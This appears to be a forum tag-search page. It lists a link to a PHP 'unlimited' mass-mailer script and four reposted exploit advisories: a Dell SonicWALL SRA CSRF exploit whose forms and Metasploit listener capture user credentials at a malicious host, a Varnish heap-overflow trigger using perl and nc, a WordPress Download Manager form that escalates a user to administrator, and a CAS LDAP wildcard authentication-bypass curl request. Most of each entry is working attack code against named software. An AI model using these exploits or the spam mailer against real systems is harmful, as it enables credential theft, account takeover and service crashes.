Search the Community
Showing results for tags 'created'.
Found 5 results
-
Mailer Inbox To All [unlimited] Created By T.C.T Team XAT.php Link : XAT.php
-
# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery # Date: 04/28/2015 # Vendor Homepage: www.dell.com # Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv # CVE : 2015-2248 Exploitation Procedure (Outline): 1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker. 2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay. 3. Gather the credentials on the target server provided in step #1 1. Create a bookmark: <html> <body> <form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST"> <input type="hidden" name="bmName" value="foo" /> <input type="hidden" name="host" value="www.malicious-host.tld" /> <input type="hidden" name="description" value="bar" /> <input type="hidden" name="tabs" value="Baz" /> <input type="hidden" name="service" value="HTTP" /> <input type="hidden" name="fbaSSOEnabled" value="on" /> <input type="hidden" name="fbaSSOFormUserName" value="user" /> <input type="hidden" name="fbaSSOFormUserPassword" value="password" /> <input type="hidden" name="MC_App" value="inherit" /> <input type="hidden" name="MC_Copy" value="inherit" /> <input type="hidden" name="MC_Print" value="inherit" /> <input type="hidden" name="MC_Offline" value="inherit" /> <input type="hidden" name="name" value="name" /> <input type="hidden" name="type" value="type" /> <input type="hidden" name="owner" value="owner" /> <input type="hidden" name="cmd" value="add" /> <input type="hidden" name="wantBmData" value="true" /> <input type="hidden" name="ok" value="OK" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2. Call the newly created bookmark This might require some guesswork, because we don't know which value bookmarkAccessed needs to have. <html> <body> <form action="https://vulnerable.vpn-installation.tld/cgi-bin/http"> <input type="hidden" name="HOST" value="www.malicious-host.tld" /> <input type="hidden" name="bookmarkAccessed" value="4" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Set up a listener E.g. metasploit payload use auxiliary/server/capture/http_basic msf auxiliary(http_basic) > [*] Listening on 0.0.0.0:80... [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://www.malicious-host.tld:80/ [*] Server started. [*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld [+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" Surs?: http://dl.packetstormsecurity.net/1505-exploits/dellsonicwallsra-xsrf.txt
-
Hi there, Latest varnish-cache 4.0.3 (https://www.varnish-cache.org/) seem to have a problem with parsing HTTP responses from backend. The following example response will trigger a heap buffer overflow : -- cut -- perl -e 'print "HTTP/1.1 200 OK\r\nContent-Length: dupa" . "\n" x 15855 . "A" x 10000 . "\n" ' | nc -l 1098 -- cut -- assuming your config uses localhost:1098 as backend. meh kernel: [2045151.042468] traps: varnishd[25794] general protection ip:42982c sp:7eff082db2d0 error:0 in varnishd[400000+ac000] Original asan report : --- cut --- ================================================================= ==12962==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62900cb24200 at pc 0x7feffed5a87b bp 0x7fef7b213fa0 sp 0x7fef7b213760 WRITE of size 32029 at 0x62900cb24200 thread T596 #0 0x7feffed5a87a (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e87a) #1 0x7feffff11849 in HTTP1_Read (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xe8849) #2 0x7feffff04727 in v1f_pull_straight (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xdb727) #3 0x7fefffee1a35 in vfp_call (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8a35) #4 0x7fefffee210f in VFP_Suck (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb910f) #5 0x7fefffee2ee3 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9ee3) #6 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #7 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #8 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #9 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #10 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #11 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) #12 0x7feffd9fa00c in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xfb00c) 0x62900cb24200 is located 0 bytes to the right of 16384-byte region [0x62900cb20200,0x62900cb24200) allocated by thread T596 here: #0 0x7feffed807df in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x547df) #1 0x7feffffbe5e1 in sma_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1955e1) #2 0x7feffffb04c9 in stv_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1874c9) #3 0x7feffffb0e7b in stv_alloc_obj (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x187e7b) #4 0x7feffffb39ee in STV_alloc (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x18a9ee) #5 0x7fefffee1696 in VFP_GetStorage (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb8696) #6 0x7fefffee2953 in VFP_Fetch_Body (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb9953) #7 0x7fefffed9f56 in vbf_stp_fetch (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb0f56) #8 0x7fefffedea60 in vbf_fetch_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xb5a60) #9 0x7feffff2d06a in Pool_Work_Thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10406a) #10 0x7feffff7b040 in wrk_thread_real (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152040) #11 0x7feffff7b442 in WRK_thread (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x152442) #12 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T596 created by T16 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2d18d in pool_breed (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x10418d) #2 0x7feffff2dd3f in pool_herder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x104d3f) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T16 created by T6 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f043 in pool_mkpool (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106043) #2 0x7feffff2f527 in pool_poolherder (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x106527) #3 0x7feffdccd181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T6 created by T0 here: #0 0x7feffed4fc4a in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x23c4a) #1 0x7feffff2f8e1 in Pool_Init (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x1068e1) #2 0x7feffff1a4cb in child_main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0xf14cb) #3 0x7feffff91402 in mgt_launch_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x168402) #4 0x7feffff92e06 in mgt_reap_child (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x169e06) #5 0x7feffff90541 in child_listener (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x167541) #6 0x7feffeb09ce7 in vev_schedule_one (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x24ce7) #7 0x7feffeb084b8 in vev_schedule (/home/meh/varnish-4.0.3-asan/lib/varnish/libvarnish.so+0x234b8) #8 0x7feffff93ff6 in MGT_Run (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x16aff6) #9 0x7feffff9db1f in main (/home/meh/varnish-4.0.3-asan/sbin/varnishd+0x174b1f) #10 0x7feffd920ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ?? Shadow bytes around the buggy address: 0x0c528195c7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c528195c830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c528195c840:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c528195c890: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa --- cut --- Our understanding after previous reports is that varnish security model assumes full trust of the backend, so this is not considered a security problem (but we do). Best regards, Filip Palian Akat1 Marek Kroemeke Source
-
# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation # Date: 24-11-2014 # Software Link: https://wordpress.org/plugins/download-manager/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9260 1. Description Every registered user can update every WordPress options using basic_settings() function. function basic_settings() { if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') { foreach ($_POST as $optn => $optv) { update_option($optn, $optv); } if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form'); die('Settings Saved Successfully'); } include('settings/basic.php'); } http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html 2. Proof of Concept Login as standard user (created using wp-login.php?action=register) then: <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings"> <input type="hidden" name="task" value="wdm_save_settings"> <input type="hidden" name="section" value="basic"> <input type="hidden" name="default_role" value="administrator"> <input type="submit" value="Hack!"> </form> After that create new user using wp-login.php?action=register. Newly created user will have admin privileges. 3. Solution: Update to version 2.7.3 Source
-
=====[Alligator Security Team - Security Advisory]======== CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards. Reporter: José Tozo < juniorbsd () gmail com > =====[Table of Contents]================================== 1. Background 2. Detailed description 3. Other contexts & solutions 4. Timeline 5. References =====[1. Background]====================================== CAS is an authentication system originally created by Yale University to provide a trusted way for an application to authenticate a user. =====[2. Detailed description]============================ A valid username and password required. Given a username johndoe and a password superpass, you can sucessfully achieve login using wildcards: username: jo* password: superpass The login will be sucessfully only if the ldap bind search return one unique member. The vulnerability described in this document can be validated using the following example: Client Request: root@machine:/# curl -k -L -d "username=jo%2A&password=superpass" https://login.cas-server.com/v1/tickets (note that * was url encoded to %2A) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>201 The request has been fulfilled and resulted in a new resource being created</title> </head> <body> <h1>TGT Created</h1> <form action=" https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz" method="POST">Service:<input type="text" name="service" value=""><br><input type="submit" value="Submit"></form> </body> </html> Server log: ============================================================= WHO: [username: jo*] WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz ACTION: TICKET_GRANTING_TICKET_CREATED APPLICATION: CAS WHEN: Tue Jan 20 18:38:17 BRST 2015 CLIENT IP ADDRESS: xxx.xxx.xxx.xxx SERVER IP ADDRESS: xxx.xxx.xxx.xxx ============================================================= =====[3. Other contexts & solutions]====================== In order to apply the patch, you have to update at least to version 3.5.3. Newer versions, such as CAS 4.0.0 and above, are not vulnerable. =====[4. Timeline]======================================== 29/12/14 Vendor notification. 14/01/15 Vendor rolled out new version 3.5.3 17/01/15 Mitre assigned CVE-2015-1169. 21/01/15 Disclosure date. =====[5. References]======================================= 1 - https://github.com/Jasig/cas/pull/411 2 - https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c -- Grato, Tozo Source
.thumb.jpg.29b1f7ae7dd9ad5a11e41a710722ba35.jpg)
